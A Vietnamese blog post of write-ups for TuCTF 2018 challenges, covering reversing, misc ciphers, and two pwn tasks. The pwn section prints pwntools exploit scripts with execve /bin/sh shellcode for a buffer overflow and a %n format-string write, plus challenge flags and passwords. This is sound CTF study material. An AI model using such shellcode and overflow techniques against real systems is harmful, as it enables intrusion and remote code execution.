Sunday, November 25, 2018

[Writeup] TuCTF 2018

Reverse

Danger Zone:
Đề bài cho ta một file pyc và khi thực thi ta được một đoạn string: =YR2XYRGQJ6KWZENQZXGTQFGZ3XCXZUM33UOEIBJ. Trông có vẻ giống chuỗi base64 bị đảo ngược, nhưng khi decode thì mình lại kí tự không đọc được nên mình thử reverse lại source code xem sao. Dùng Easy Python Decompiler mình có được source code của chương trình.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# Embedded file name: ./dangerzone.py
import base64

def reverse(s):
    return s[::-1]


def b32decode(s):
    return base64.b32decode(s)


def reversePigLatin(s):
    return s[-1] + s[:-1]


def rot13(s):
    return s.decode('rot13')


def main():
    print 'Something Something Danger Zone'
    return '=YR2XYRGQJ6KWZENQZXGTQFGZ3XCXZUM33UOEIBJ'


if __name__ == '__main__':
    s = main()
    print s

Đọc source thì chúng ta đã có hết các hàm decode, nếu vậy thì chúng ta chỉ cần chỉnh sửa lại hàm main một tí thì sẽ có flag.


1
2
3
4
5
6
if __name__ == '__main__':
    s = main()
    s=reverse(s)
    s=b32decode(s)
    s=reversePigLatin(s)
    print s
Flag: TUCTF{r3d_l1n3_0v3rl04d}

yeahright:

Mở file binary bằng IDA ta có thể dễ dàng nhìn thấy chương trình sẽ so sánh chuỗi ta nhập vào với biến pass, nếu đúng sẽ in ra flag còn nếu sai sẽ in ra yeahright.

Tìm biến pass trong IDA mình nhanh chóng tìm được giá trị của nó:


Pass là: 7h3_m057_53cr37357_p455w0rd_y0u_3v3r_54w
Ok giờ chỉ việc gửi lên server và lấy flag thôi.
Flag: TUCTF{n07_my_fl46_n07_my_pr0bl3m}

shoop:

Lại là yêu cầu nhập password, mình tiếp tục mở file binary bằng IDA, tuy nhiên bài này khó hơn bài yeahright vì password đã bị biến đổi:


Vòng for đầu tiên có nhiệm vụ đưa chuỗi ta nhập vào một mảng. Vòng for thứ hai biến đổi chuổi ta nhập vào bằng cách dời lui kí tự  đi 5 đơn vị (xét theo bảng ascii) ví dụ: 'A' -> '<', 'B' -> '=',...
Vòng for thứ ba đảo vị trí các kí tự trong chuổi s sau khi đã thực hiện bước 2.



Mình viết lại một đoạn code nhỏ và có được mật khẩu

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
#usr/bin/python
s = 'jmt_j]tm`q`t_j]mpjtf^'
a = ''
b = [None]*21

for i in s:
 a +=chr(ord(i)+5)
for i in range(21):
 b[i] = a[(i-10)%21]

print ''.join(b[::-1])

Pass: everybodyrockyourbody
Flag: TUCTF{5w337_dr34m5_4r3_m4d3_0f_7h353}

Misc

APL:

Search google, mình biết được APL là một ngôn ngữ máy giống với assembly nên đã kiếm cách chạy online cho tiện, thì mình kiếm được trang https://tryapl.org/ Trong APL dấu <- thực hiện phép gán, vì vậy mình bỏ đi việc gán giá trị mx cho a và thử chạy dòng code đầu tiên mà không gán cho biến a thì thu được ma trận số 64 - 126 là các số đọc được trong hệ 10. Decode những số trong mảng mx mình có được flag.
Flag: TUCTF{wRiTe_OnLy_Is_HaRd_To_ReAd}

Ancient:

Bài này sau khi search google thì đó là Dinotopia alphabet. Sau khi ngồi so từng chữ trong bảng với cipher mính có được flag.


PWN

Shella-easy:
Nhìn vào source code ta có thể thấy chương trình in ra địa chỉ của biến mà ta nhập vào và có biến check nếu check=0xDEADBEEF thì ta sẽ control được EIP và trỏ về địa chỉ của biến s và thực thi shellcode. Biến s sử dụng hàm gets nên ta có thể overflow biến check đơn giản.


Source code:


 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *

shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

#p = process("./shella-easy")
p = remote("52.15.182.55",12345)
check = p32(0xdeadbeef)
#raw_input("attach %d" %p.pid)
p.recvuntil("Yeah I'll have a ")

mem=p.recv(10)
mem= p32(int(mem,16))

p.recvuntil("thanks")
payload = shellcode
payload +="A"*(64-len(shellcode))
payload += check
payload += 'BBBBBBBB'
payload += mem
p.sendline(payload)
p.interactive()

ehh:

Bài này chúng ta cần phải ghi lại địa chỉ biến val đã cho với giá trị là 0x18. Dựa vào hàm print và %n ta có được sourcode exploit:


 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
from pwn import *

p = process("./ehh")
raw_input("attach %d" %p.pid)

#p = remote("18.222.213.102",12345)

p.recvuntil("here< ")
val_addr = p.recv(10)
val_addr = p32(int(val_addr,16))

payload  = ""
payload += val_addr
payload += "BBBBBBBB"
payload += "%6$12x"
payload += "%6$n"
p.sendline(payload)
print p.recv(1024)



0 comments:

Post a Comment